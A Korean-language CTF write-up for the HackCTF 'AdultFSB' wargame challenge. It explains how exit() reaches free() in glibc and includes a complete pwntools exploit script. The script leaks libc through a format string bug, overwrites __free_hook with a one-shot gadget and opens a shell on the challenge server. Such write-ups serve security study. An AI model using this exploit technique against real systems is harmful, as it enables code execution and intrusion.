[HackCTF] AdultFSB 풀이 (700p)
Wargame/HackCTF

[HackCTF] AdultFSB 풀이 (700p)

풀이

이번 FSB 문제에는 FULL RELRO가 걸려있다.


main

AdultFSB 문제는 read 함수에서 넉넉하게 문자열을 입력 받고 총 2번 반복한다.

마찬가지로 printf 에서 FSB가 발생한다.

특이한 점은 exit(0);이 있다는 것이다.


이번 문제는 HackCTF FSB 문제중 제일 빨리 풀었던 것 같다.

전에 FULL RELRO 풀다가 exit 함수에서 free 함수를 call 한다는 사실은 알고 있었기 때문이다.

그러나, 자세하게 어떻게 exit 함수에서 free 함수를 call 하는지는 몰랐는데 이번 문제를 풀면서 새롭게 알게 되었다.

 

kali 2019 version 기준으로 설명하겠다. 실제 문제 풀이를 위해서는 알맞은 문제 서버에 맞는 libc를 사용해야 한다.

 

먼저 exit 함수는 __run_exit_handlers 함수를 call 한다.

 

__run_exit_handlers 함수가 긴 관계로 필요한 부분만 잘라왔다.

 

r15 값을 검사해 free 함수의 호출 여부를 결정한다.

__run_exit_handlers+400에 bp를 걸고 값을 확인했더니 0x7ffff7fa5b00이다.

 while (cur->idx > 0)
        {
          struct exit_function *const f = &cur->fns[--cur->idx];
          const uint64_t new_exitfn_called = __new_exitfn_called;
          /* Unlock the list while we call a foreign function.  */
          __libc_lock_unlock (__exit_funcs_lock);
          switch (f->flavor)
            {
              void (*atfct) (void);
              void (*onfct) (int status, void *arg);
              void (*cxafct) (void *arg, int status);
            case ef_free:
            case ef_us:
              break;
            case ef_on:
              onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (onfct);
#endif
              onfct (status, f->func.on.arg);
              break;
            case ef_at:
              atfct = f->func.at;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (atfct);
#endif
              atfct ();
              break;
            case ef_cxa:
              /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
                 we must mark this function as ef_free.  */
              f->flavor = ef_free;
              cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (cxafct);
#endif
              cxafct (f->func.cxa.arg, status);
              break;
            }
          /* Re-lock again before looking at global state.  */
          __libc_lock_lock (__exit_funcs_lock);
          if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
            /* The last exit function, or another thread, has registered
               more exit functions.  Start the loop over.  */
            goto restart;
        }
      *listp = cur->next;
      if (*listp != NULL)
        /* Don't free the last element in the chain, this is the statically
           allocate element.  */
        free (cur);
      __libc_lock_unlock (__exit_funcs_lock);
    }

 

해당 코드는 __run_exit_handlers (exit.c) 인데 free(cur)이 call 되기 위해서는 두 개의 조건을 통과해야 한다.

 

1. while(cur -> idx > 0)

2. if(*listp != NULL), 여기서 *listp = cur->next 이다.

 

initial

initial+0 주소는 next를 가리키고, initial+8은 idx를 가리킨다.

즉, initial+0는 NULL이 아닌 값이고 initial+8은 0보다 크지 않으면 free가 호출된다!


시나리오는 다음과 같다.

 

stage #1

첫 번째 read 함수에서 stack에 있는 __libc_start_main+240 값을 leak 하여 libc base를 구한다.

 

stage #2

두 번째 read 함수에서 다음과 같은 페이로드를 구성해 입력한다.

 

payload = %240c [rsp 위치]

payload += oneshot_last [rsp 위치]

payload += oneshot_mid [rsp 위치]

payload += oneshot_first [rsp 위치]

payload += PADDING

payload += initial+7 (+7 주소를 사용하는 이유는 한 줄의 페이로드로 두 값을 모두 조작할 수 있기 때문)

payload += __free_hook

payload += __free_hook+2 

payload += __free_hook+4

 

이제 페이로드를 보내면 oneshot gadget으로 덮힌 __free_hook이 실행되어 쉘이 따질 것이다!


from pwn import *

context.log_level = 'debug'

p = remote('ctf.j0n9hyun.xyz', 3040)
#p = process(['./adult_fsb'], env={'LD_PRELOAD': './libc.so.6'})
e = ELF('./adult_fsb')
libc = ELF('./libc.so.6')

#gdb.attach(p)
payload = '%49$p'
p.send(payload)

leak = int(p.recv(14), 16)
base = leak - libc.symbols['__libc_start_main'] - 240
oneshot = base + 0x4526a
free = base + libc.symbols['__free_hook']
initial = base + 0x3c5c40

first = 0
mid = 0

oneshot_first = (oneshot >> 32) & 0xffff
oneshot_mid = (oneshot >> 16) & 0xffff
oneshot_last = oneshot & 0xffff

log.info(hex(oneshot_first))
log.info(hex(oneshot_mid))
log.info(hex(oneshot_last))

if oneshot_mid > oneshot_last:
    mid = oneshot_mid - oneshot_last
else:
    mid = 0x10000 + oneshot_mid - oneshot_last

if oneshot_first > oneshot_mid:
    first = oneshot_first - oneshot_mid
else:
    first = 0x10000 + oneshot_first - oneshot_mid

payload = '%240c%15$hn'
payload += '%' + str(oneshot_last-240) + 'c%16$hn'
payload += '%' + str(mid) + 'c%17$hn'
payload += '%' + str(first) + 'c%18$hn'
payload += 'A' * (56 - len(payload))
##############################
payload += p64(initial+7)
payload += p64(free)
payload += p64(free+2)
payload += p64(free+4)

log.success(len(payload))
log.success(payload)

pause()
p.sendline(payload)
log.info(payload)
p.interactive()